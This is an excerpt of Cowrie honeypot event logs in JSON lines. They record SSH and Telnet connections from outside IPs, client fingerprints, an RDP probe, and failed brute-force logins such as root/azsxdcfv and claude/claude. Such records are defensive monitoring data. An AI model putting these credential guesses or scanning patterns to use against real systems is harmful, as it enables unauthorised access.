","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:51.611839Z","src_ip":"147.45.197.250","session":"d7d5260d9907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azsxdcfv","message":"login attempt [root/azsxdcfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:51.889430Z","src_ip":"147.45.197.250","session":"d7d5260d9907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:52.986585Z","src_ip":"147.45.197.250","session":"d7d5260d9907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40438,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a2b010ea69","protocol":"telnet","message":"New connection: 192.119.13.58:40438 (10.17.0.5:23) [session: f4a2b010ea69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:53.644857Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53996,"dst_ip":"10.17.0.5","dst_port":23,"session":"a28b2cdccd74","protocol":"telnet","message":"New connection: 192.119.13.58:53996 (10.17.0.5:23) [session: a28b2cdccd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:04.546065Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57414,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c11fc64483","protocol":"telnet","message":"New connection: 192.119.13.58:57414 (10.17.0.5:23) [session: 51c11fc64483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:05.358996Z"}
{"eventid":"cowrie.session.closed","duration":50.809834480285645,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:09.889498Z","src_ip":"192.119.13.58","session":"40ec1d25b568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":56634,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0e5e1b68e99","protocol":"ssh","message":"New connection: 103.173.227.57:56634 (10.17.0.5:22) [session: a0e5e1b68e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:18.632505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:18.641153Z","src_ip":"103.173.227.57","session":"a0e5e1b68e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:18.878183Z","src_ip":"103.173.227.57","session":"a0e5e1b68e99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfvfhf","message":"login attempt [root/cfvfhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:19.583568Z","src_ip":"103.173.227.57","session":"a0e5e1b68e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.165.16.162","src_port":65079,"dst_ip":"10.17.0.5","dst_port":22,"session":"d318d348004a","protocol":"ssh","message":"New connection: 194.165.16.162:65079 (10.17.0.5:22) [session: d318d348004a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:20.575206Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","message":"Remote SSH version: \u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:20.580425Z","src_ip":"194.165.16.162","session":"d318d348004a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:20.584518Z","src_ip":"194.165.16.162","session":"d318d348004a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:20.822497Z","src_ip":"103.173.227.57","session":"a0e5e1b68e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34224,"dst_ip":"10.17.0.5","dst_port":23,"session":"c28d2b70fa07","protocol":"telnet","message":"New connection: 192.119.13.58:34224 (10.17.0.5:23) [session: c28d2b70fa07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:28.113344Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38156,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bbdf6145a97","protocol":"telnet","message":"New connection: 192.119.13.58:38156 (10.17.0.5:23) [session: 6bbdf6145a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:29.035809Z"}
{"eventid":"cowrie.session.closed","duration":38.79288411140442,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:32.437450Z","src_ip":"192.119.13.58","session":"f4a2b010ea69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7076096534729,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:42.066514Z","src_ip":"192.119.13.58","session":"51c11fc64483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":40276,"dst_ip":"10.17.0.5","dst_port":22,"session":"26a32224f3d4","protocol":"ssh","message":"New connection: 200.175.61.207:40276 (10.17.0.5:22) [session: 26a32224f3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:44.590100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:44.595054Z","src_ip":"200.175.61.207","session":"26a32224f3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:44.739408Z","src_ip":"200.175.61.207","session":"26a32224f3d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:45.352940Z","src_ip":"200.175.61.207","session":"26a32224f3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:46.501288Z","src_ip":"200.175.61.207","session":"26a32224f3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.4512665271759,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:37:58.997234Z","src_ip":"192.119.13.58","session":"a28b2cdccd74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36968,"dst_ip":"10.17.0.5","dst_port":23,"session":"b492a421d5a1","protocol":"telnet","message":"New connection: 192.119.13.58:36968 (10.17.0.5:23) [session: b492a421d5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:05.214473Z"}
{"eventid":"cowrie.session.closed","duration":37.48218607902527,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:05.595417Z","src_ip":"192.119.13.58","session":"c28d2b70fa07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41078,"dst_ip":"10.17.0.5","dst_port":23,"session":"889fbddca376","protocol":"telnet","message":"New connection: 192.119.13.58:41078 (10.17.0.5:23) [session: 889fbddca376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:06.163409Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46794,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b1894961f6","protocol":"telnet","message":"New connection: 192.119.13.58:46794 (10.17.0.5:23) [session: 62b1894961f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:07.716653Z"}
{"eventid":"cowrie.session.closed","duration":48.13000226020813,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:17.165660Z","src_ip":"192.119.13.58","session":"6bbdf6145a97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36816,"dst_ip":"10.17.0.5","dst_port":23,"session":"43351f080e64","protocol":"telnet","message":"New connection: 192.119.13.58:36816 (10.17.0.5:23) [session: 43351f080e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:19.756863Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53728,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddff5bb8da70","protocol":"telnet","message":"New connection: 192.119.13.58:53728 (10.17.0.5:23) [session: ddff5bb8da70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:31.572233Z"}
{"eventid":"cowrie.session.closed","duration":0.004945278167724609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:31.576998Z","src_ip":"192.119.13.58","session":"ddff5bb8da70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54246,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ee95dd91cc0","protocol":"telnet","message":"New connection: 192.119.13.58:54246 (10.17.0.5:23) [session: 7ee95dd91cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:31.697897Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57612,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e3e4d066be7","protocol":"telnet","message":"New connection: 192.119.13.58:57612 (10.17.0.5:23) [session: 8e3e4d066be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:40.001117Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60922,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f2808e0e995","protocol":"telnet","message":"New connection: 192.119.13.58:60922 (10.17.0.5:23) [session: 6f2808e0e995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:40.868305Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d4f4113f53d","protocol":"telnet","message":"New connection: 192.119.13.58:43392 (10.17.0.5:23) [session: 3d4f4113f53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:43.590895Z"}
{"eventid":"cowrie.session.closed","duration":39.40739870071411,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:45.570621Z","src_ip":"192.119.13.58","session":"889fbddca376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.866374254226685,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:46.582894Z","src_ip":"192.119.13.58","session":"62b1894961f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.38679885864258,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:38:47.600909Z","src_ip":"192.119.13.58","session":"b492a421d5a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.10179853439331,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:04.858554Z","src_ip":"192.119.13.58","session":"43351f080e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52876,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1679315d5e","protocol":"telnet","message":"New connection: 192.119.13.58:52876 (10.17.0.5:23) [session: 2d1679315d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:04.863392Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60328,"dst_ip":"10.17.0.5","dst_port":23,"session":"abb920e7e0fc","protocol":"telnet","message":"New connection: 192.119.13.58:60328 (10.17.0.5:23) [session: abb920e7e0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:06.180254Z"}
{"eventid":"cowrie.session.closed","duration":40.80393934249878,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:12.501777Z","src_ip":"192.119.13.58","session":"7ee95dd91cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.59381318092346,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:18.461946Z","src_ip":"192.119.13.58","session":"6f2808e0e995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96490669250488,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:18.555694Z","src_ip":"192.119.13.58","session":"3d4f4113f53d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":35830,"dst_ip":"10.17.0.5","dst_port":22,"session":"e35caf60c82a","protocol":"ssh","message":"New connection: 200.175.61.207:35830 (10.17.0.5:22) [session: e35caf60c82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:24.234536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:24.239372Z","src_ip":"200.175.61.207","session":"e35caf60c82a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:24.388902Z","src_ip":"200.175.61.207","session":"e35caf60c82a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.18.141","src_port":52654,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a07769fcbeb","protocol":"ssh","message":"New connection: 8.210.18.141:52654 (10.17.0.5:22) [session: 0a07769fcbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:24.504762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:24.509976Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:24.723210Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zsy123","message":"login attempt [root/zsy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:25.024627Z","src_ip":"200.175.61.207","session":"e35caf60c82a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:3d:55:92:e2:63:18:6e:77:7d:1f:12:4a:e2:02:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3jcPZwIuOrsi8v6qNbCz11d9Pmxf+tlpPvXTTv8E+FyX5FrV8cSVF1Jw1x1VCFoXoQ50P7hagcTTAy1EompVCoL9FYAPglapYdc3MNPzHwWx1kVF4k0AhsPnyizAHlVOCfSb3vku+t0HrqKxHSiIsmwdBdGpc67oEBpKz0WW4Cns4ujsWNvGkQ+AS3E/NJnFBZR9IDeJ3NxKgzS5Elz625pDYd5F0wBMtDbAuvPaoULIZovRDe6Odzz5Yg62Th6gqYjzUhABe9R0SFGgNo6QK+xEMRIdWyqsYPCPn0HSlVjwJkuf7MoJpR1UmepfPCC2obMM9KTfM5YZnXsoVGoh5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:3d:55:92:e2:63:18:6e:77:7d:1f:12:4a:e2:02:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:25.758720Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:3d:55:92:e2:63:18:6e:77:7d:1f:12:4a:e2:02:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3jcPZwIuOrsi8v6qNbCz11d9Pmxf+tlpPvXTTv8E+FyX5FrV8cSVF1Jw1x1VCFoXoQ50P7hagcTTAy1EompVCoL9FYAPglapYdc3MNPzHwWx1kVF4k0AhsPnyizAHlVOCfSb3vku+t0HrqKxHSiIsmwdBdGpc67oEBpKz0WW4Cns4ujsWNvGkQ+AS3E/NJnFBZR9IDeJ3NxKgzS5Elz625pDYd5F0wBMtDbAuvPaoULIZovRDe6Odzz5Yg62Th6gqYjzUhABe9R0SFGgNo6QK+xEMRIdWyqsYPCPn0HSlVjwJkuf7MoJpR1UmepfPCC2obMM9KTfM5YZnXsoVGoh5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:39:25.762602Z","src_ip":"8.210.18.141","session":"0a07769fcbeb","protocol":"ssh"}
